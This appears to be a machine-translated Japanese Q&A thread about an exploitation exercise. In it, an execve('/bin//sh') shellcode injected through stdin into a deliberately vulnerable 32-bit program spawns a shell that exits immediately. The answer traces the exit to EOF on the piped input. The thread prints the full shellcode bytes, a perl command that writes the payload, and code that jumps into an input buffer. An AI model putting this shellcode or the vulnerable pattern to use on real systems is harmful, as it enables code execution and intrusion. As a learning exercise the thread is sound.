2017-10-18 23 views
0

私は研究をしたが、私の基本的な問題に対する答えは見つけられなかったと言って前置きします。shellcodeから起動したシェルが起動時に即座に終了する

シェルコードから基本プログラムを使ってシェルを起動します。 これは、今で作業しなければならない使用シェルコード、次のとおりです。

0: 31 c0     xor eax, eax 
2: 50      push eax 
3: 68 2f 2f 73 68   push 0x68732f2f 
8: 68 2f 62 69 6e   push 0x6e69622f 
d: 89 e3     mov ebx, esp 
f: 50      push eax 
10: 53      push ebx 
11: 89 e1     mov ecx, esp 
13: b0 0b     mov al, 0xb 
15: 31 d2     xor edx, edx 
17: cd 80     int 0x80 

奇妙なことがそうのように使用する場合、このシェルコードが動作している次のとおりです。

char *shellcode = "\x31[...]x80"; 
int main(void) 
{ 
    (*(void(*)()) shellcode)(); 
    return 0; 
} 

ではなく、このプログラムを標準入力から読み込みます(以下のフラグを指定してコンパイル:

gcc vuln.c -o vuln -fno-stack-protector -m32 -z execstack): 

コード:

#include [...] 
typedef void (*func)(void); 
int main(void) 
{ 
    char input[4096]; 
    read(0, input, 4096); 
    ((func)&input)(); 
    return 0; 
} 

2番目のプログラムで起こることは、プログラムがエラーコードなしで終了し、シェルが生成されないことです。

straceのは、第二のプログラムで、シェルが正常に起動されていることを私に示しています

read(0, "1\300Ph//shh/bin\211\343PS\211\341\260\v1\322\315\200", 4096) = 26 
execve("/bin//sh", ["/bin//sh"], NULL) = 0 
strace: [ Process PID=3139 runs in 64 bit mode. ] 

しかし、私は何もするように頼まないよので、終了間際のこのラインは非常に疑わしいです:

read(0, "", 8192)      = 0 

私は何とか生成されたシェルにnullバイトを送信していると思われ、それを殺します。 I最初にその私が正しく私のシェルコードファイルを設定していないんだけど、それらは私が使用するコマンドであるかの:私は

perl -e 'print "[...]" | ./vuln 

perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80"' > payload.bin 
./vuln < payload.bin 

また、私は、このコマンドを使用してみましたが、同じ結果を得ましたまた、ファイル内の文字をチェックしましたが、ファイルの重みは25 octです。同じサイズのシェルコードのために、これは問題ではありません。

私はstdinからシェルコードを与えるために適切な方法を使用していますか、それとも別の方法ですか? いいえ、問題の原因はどこですか?

おかげ

答えて

0

問題は、第2のプログラムでは、あなたはパイプに標準入力をリダイレクトしてきたということです。生成されたシェルはパイプからの読み込みを試み、EOFを取得して終了します。

シェルコードを実行する前に標準入力を端末にリダイレクトすることができます。

#include [...] 
typedef void (*func)(void); 
int main(void) 
{ 
    char input[4096]; 
    read(0, input, 4096); 
    freopen("/dev/tty", "r", stdin); 
    ((func)&input)(); 
    return 0; 
} 
+0

リンクした記事のものと同じ2番目のコードをコンパイルするときに使用されたフラグを含めるのを忘れました。また、2番目のプログラムは、シャットダウンする前にシェルを起動しているようだが、stdinからヌル文字を読み込むので、間違っていないと実行防止が問題にならないはずです(ASLRも無効になります)。 – mat

+0

私は自分の答えを変えました。 – Barmar

+0

答えをありがとう!しかし、私は問題があります:私はシェルを生成しようとしているプログラムは運動であり、変更することはできません:pこれを行うことによってstdinをリダイレクトする以外の何かを使用しようとしました:cat payload | ./vuln。しかし、これは私の場合はうまくいかず、何が起きているのかを見るためにgdb/straceを使ってデバッグする方法もわかりません。私はこのスレッドhttps://stackoverflow.com/q/1456253/8797854を与えられた解決策を試みたが、私はまだ同じ問題を抱えています。何か案が ? – mat

関連する問題